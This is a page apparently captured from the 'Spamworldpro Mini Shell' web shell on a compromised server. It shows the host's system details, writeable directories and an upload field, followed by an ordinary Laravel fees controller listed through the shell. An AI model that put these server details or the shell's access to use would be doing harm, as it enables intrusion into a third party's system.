Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/syn.corals.io/Corals/modules/Syndicate/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/syn.corals.io/Corals/modules/Syndicate/Http/Controllers/FeesController.php
<?php

namespace Corals\Modules\Syndicate\Http\Controllers;

use Corals\Foundation\Http\Controllers\BaseController;
use Corals\Modules\Syndicate\DataTables\FeesDataTable;
use Corals\Modules\Syndicate\Http\Requests\FeeRequest;
use Corals\Modules\Syndicate\Models\Fee;
use Corals\Modules\Syndicate\Models\FeeSetup;
use Corals\Modules\Syndicate\Services\FeeService;
use Exception;
use Illuminate\Contracts\View\Factory;
use Illuminate\Contracts\View\View;
use Illuminate\Foundation\Application;
use Illuminate\Http\JsonResponse;

class FeesController extends BaseController
{
    protected $feesService;

    public function __construct(FeeService $feesService)
    {
        $this->feesService = $feesService;

        $this->resource_url = config('syndicate.models.fee.resource_url');

        $this->title = trans('Syndicate::module.fee.title');
        $this->title_singular = trans('Syndicate::module.fee.title_singular');

        parent::__construct();
    }

    /**
     * @param FeeRequest $request
     * @param FeesDataTable $dataTable
     * @return mixed
     */
    public function index(FeeRequest $request, FeesDataTable $dataTable)
    {
        return $dataTable->render('Syndicate::fees.index');
    }

    /**
     * @param FeeRequest $request
     * @return \Illuminate\Contracts\Foundation\Application|Factory|View
     */
    public function create(FeeRequest $request)
    {
        $fee = new Fee();

        return view('Syndicate::fees.create_edit')->with(compact('fee'));
    }

    /**
     * @param FeeRequest $request
     * @return Application|JsonResponse|mixed
     */
    public function store(FeeRequest $request)
    {
        try {
            $this->feesService->store($request, Fee::class);
            flash(trans('Corals::messages.success.created', ['item' => $this->title_singular]))->success();
        } catch (Exception $exception) {
            log_exception($exception, Fee::class, 'store');
        }

        return redirectTo($this->resource_url);
    }

    /**
     * @param FeeRequest $request
     * @param Fee $fee
     * @return \Illuminate\Contracts\Foundation\Application|Factory|View
     */
    public function show(FeeRequest $request, Fee $fee)
    {
        $this->setViewSharedData([
            'title_singular' => trans('Corals::labels.show_title', ['title' => $fee->getIdentifier()]),
            'showModel' => $fee,
        ]);

        return view('Syndicate::fees.show')->with(compact('fee'));
    }

    /**
     * @param FeeRequest $request
     * @param Fee $fee
     * @return \Illuminate\Contracts\Foundation\Application|Factory|View
     */
    public function edit(FeeRequest $request, Fee $fee)
    {
        $this->setViewSharedData([
            'title_singular' => trans('Corals::labels.update_title', ['title' => $fee->name])
        ]);

        return view('Syndicate::fees.create_edit')->with(compact('fee'));
    }

    /**
     * @param FeeRequest $request
     * @param Fee $fee
     * @return Application|JsonResponse|mixed
     */
    public function update(FeeRequest $request, Fee $fee)
    {
        try {
            $this->feesService->update($request, $fee);

            flash(trans('Corals::messages.success.updated', ['item' => $this->title_singular]))->success();
        } catch (Exception $exception) {
            log_exception($exception, Fee::class, 'update');
        }

        return redirectTo($this->resource_url);
    }

    /**
     * @param FeeRequest $request
     * @param Fee $fee
     * @return JsonResponse
     */
    public function destroy(FeeRequest $request, Fee $fee)
    {
        try {
            $this->feesService->destroy($request, $fee);

            $message = [
                'level' => 'success',
                'message' => trans('Corals::messages.success.deleted', ['item' => $this->title_singular])
            ];
        } catch (Exception $exception) {
            log_exception($exception, Fee::class, 'destroy');
            $message = ['level' => 'error', 'message' => $exception->getMessage()];
        }

        return response()->json($message);
    }

    public function addLateFee(Fee $fee)
    {
        try {
            $lateFee = FeeSetup::query()
                ->select('amount', 'fee_type', 'year')
                ->where('year', $fee->year)
                ->firstWhere('fee_code', '=', 'Syndicate::transaction_type.late-fee');

            if (!$lateFee) {
                throw new Exception('late fee setup not exist');
            }

            $feeRemain = (($fee->due) - ($fee->paid));

            if ($lateFee->fee_type === 'Syndicate::payment_method.percentage') {
                $balanceLate = $feeRemain * ($lateFee->amount / 100);
            } else {
                $balanceLate = $lateFee->amounts;
            }

            Fee::query()->insert([
                'user_id' => $fee->user_id,
                'type_code' => 'Syndicate::transaction_type.late-fee',
                'due' => $balanceLate,
                'year' => $fee->year,
                'related_fee_id' => $fee->id,
                'created_at' => now(),
                'updated_at' => now(),
            ]);

            flash(trans('Syndicate::messages.late_fee'))->success();
            return redirectTo($this->resource_url);
        } catch (Exception $exception) {
            log_exception($exception, Fee::class, 'destroy');
            $message = ['level' => 'error', 'message' => $exception->getMessage()];
        }

        return response()->json($message);
    }
}

Spamworldpro Mini